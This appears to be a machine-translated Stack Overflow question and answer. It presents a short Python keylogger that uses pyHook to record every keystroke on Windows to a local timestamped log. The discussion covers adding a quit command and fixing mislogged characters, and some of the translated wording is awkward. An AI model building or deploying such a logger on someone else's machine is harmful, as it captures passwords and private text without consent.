2010-08-09 195 views
0

我正在基于我在网上找到的脚本编写我自己的简单密钥记录器。但是,我正在尝试编写一个键盘命令,以便在输入此命令时记录器程序将关闭。我应该怎么做呢? (另外我知道它根本不安全,但是这个程序并不关心)在Python中创建密钥命令

例如Ctrl +'exit'会关闭程序。

另外它有时不会在它创建的.log文件中正确地打印某些字符,这可能是什么原因造成的? (我认为字符吸引类型可能导致此问题)

#Key Logger 
#By: K.B. Carte 
#Version 1.0 
################ 

import pythoncom, pyHook, sys, logging, time 


LOG_FILENAME = 'C:\KeyLog\log.out' 



def OnKeyboardEvent(event): 
    keytime = time.strftime('%I:%M %S %p  %A %B %d, %Y   ') 
    logging.basicConfig(filename=LOG_FILENAME, 
         level=logging.DEBUG, 
         format='%(message)s') 

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'") 
    return True 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

这是在Windows 7中,BTW。

回答

0

让它通过一定的命令关闭,说“跳槽” ......你想创建一个缓冲区....如果你让你登录一个缓冲的一切,你可以很容易做到

buff += newkeypress 
if "quit" in buff[-4:]: 
    logfile.close() 
    sys.exit(0) 

,或者你可以这样做附加/弹出一个列表..或时髦的人物一些其他类型的循环缓冲区

,你可能结业想只打印了整个事情的六角..或忽略小于ascii 0的事件(如\ b和其他时髦字符)

或.. make一个ascii表(字典),并记录匹配的关键,所以如果你得到\ b你登录'',如果你得到'0'你登录'0'

+0

我将如何使其Ctrl键然后键入“退出“? – rectangletangle 2010-08-09 05:50:59

+1

试试这个? http://www.daniweb.com/code/snippet216830.html – pyInTheSky 2010-08-09 05:56:12